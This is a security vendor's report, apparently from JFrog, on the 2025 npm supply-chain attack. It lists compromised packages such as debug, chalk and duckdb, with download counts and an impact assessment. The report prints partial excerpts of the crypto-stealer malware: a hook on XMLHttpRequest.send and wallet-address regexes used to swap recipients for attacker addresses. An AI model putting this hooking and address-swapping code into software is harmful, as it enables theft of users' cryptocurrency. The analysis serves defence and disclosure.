New compromised packages identified in largest npm attack in history
Duckdb, coveops/abi and more new packages discovered as compromised in the ongoing phishing campaign
On September 8th, a malicious actor compromised the npm registry by publishing trojanized versions of 18 widely-used packages, after obtaining developers’ tokens in a phishing attack, as reported by Aikido. Massively popular packages such as “debug”, “chalk” and “ansi-styles” were compromised. The injected payload was obfuscated with the popular “javascript-obfuscator” library and contained a cryptocurrency stealer malware.
The malware replaced methods of XMLHttpRequest class with its own, in order to monitor web3 traffic.
XMLHttpRequest.prototype.send = function (_0x270708) {
if (_0x159c30.readyState === 4) {
try {
const content_type = _0x159c30.getResponseHeader("Content-Type");
let response_data = _0x159c30.responseText;
if (content_type.includes("application/json")) {
response_data = JSON.parse(_0x159c30.responseText);
}
const _0x454f4a = process_response(response_data);
}
return original_send.apply(this, arguments);
};
Once the malicious code detected a transaction on a supported network, it intercepted the request. It replaced the receiver’s address with one controlled by the attacker, redirecting the funds to the thief’s wallet.
const patterns_map = {
'ethereum': /\b0x[a-fA-F0-9]{40}\b/g,
'bitcoinLegacy': /\b1[a-km-zA-HJ-NP-Z1-9]{25,34}\b/g,
'bitcoinSegwit': /\b(3[a-km-zA-HJ-NP-Z1-9]{25,34}|bc1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{11,71})\b/g,
'tron': /((?<!\w)[T][1-9A-HJ-NP-Za-km-z]{33})/g,
'bch': /bitcoincash:[qp][a-zA-Z0-9]{41}/g,
'ltc': /(?<!\w)ltc1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{11,71}\b/g,
'ltc2': /(?<!\w)[mlML][a-km-zA-HJ-NP-Z1-9]{25,34}/g,
'solana': /((?<!\w)[4-9A-HJ-NP-Za-km-z][1-9A-HJ-NP-Za-km-z]{32,44})/g,
'solana2': /((?<!\w)[3][1-9A-HJ-NP-Za-km-z]{35,44})/g,
'solana3': /((?<!\w)[1][1-9A-HJ-NP-Za-km-z]{35,44})/g
};
for (const [network_name, address_regex] of Object.entries(patterns_map)) {
const matches = regex.matches(address_regex) || [];
for (const match of matches) {
if (network_name == "ethereum") {
if (!attacker_address.includes(match) && neth == 0) {
regex = regex.replace(match, find_closest(match, attacker_address));
}
}
What’s the impact?
Surprisingly, practical damage from the attack is almost non-existent. The attackers poorly used a widely known obfuscator, which led to immediate detection shortly after the malicious versions were published. Blockchain analysis of the associated wallets indicates that the campaign yielded only around $500 in stolen cryptocurrency.
The attack’s reach makes this the most widespread supply chain attack in npm’s history. The compromised packages are extremely popular, having a total of two billion downloads across all versions while the compromised versions were downloaded more than 2.5 million times.
The incident highlights how fragile the modern JavaScript ecosystem is, where half of the codebase is dependent on single-line utilities maintained by a single developer.
After the initial batch of infected packages, we identified a few more compromised accounts, including duckdb, which indicates that the campaign is still active. We’re continuing to monitor the situation and will keep this article updated as new information becomes available.
The affected packages
Initially reported
The initially reported compromised packages were downloaded more than 2.5M times –
Package Name | Package Version | # Downloads of compromised version |
backslash | 0.2.1 | 2482 |
chalk-template | 1.1.1 | 2708 |
supports-hyperlinks | 4.1.1 | 166 |
has-ansi | 6.0.1 | 127 |
simple-swizzle | 0.2.3 | 308579 |
color-string | 2.1.1 | 1510 |
error-ex | 1.3.3 | 220642 |
color-name | 2.0.1 | 5869 |
is-arrayish | 0.3.3 | 133998 |
slice-ansi | 7.1.1 | 51073 |
color-convert | 3.1.1 | 1104 |
wrap-ansi | 9.0.1 | 100947 |
ansi-regex | 6.2.1 | 357201 |
supports-color | 10.2.1 | 11811 |
strip-ansi | 7.1.1 | 412854 |
chalk | 5.6.1 | 146630 |
debug | 4.4.2 | 543051 |
ansi-styles | 6.2.2 | 324330 |
proto-tinker-wc | 0.1.87 | 75 |
prebid | 10.9.1 | 98 |
prebid | 10.9.2 | 98 |
Ongoing – reported by JFrog
Packages discovered after the initial compromise were removed quickly and received almost no downloads –
Package Name | Package Version | # Downloads of compromised version |
@coveops/abi | 2.0.1 | No information |
duckdb | 1.3.3 | 5 |
@duckdb/node-bindings | 1.3.3 | No information |
@duckdb/duckdb-wasm | 1.29.2 | No information |
@duckdb/node-api | 1.3.3 | No information |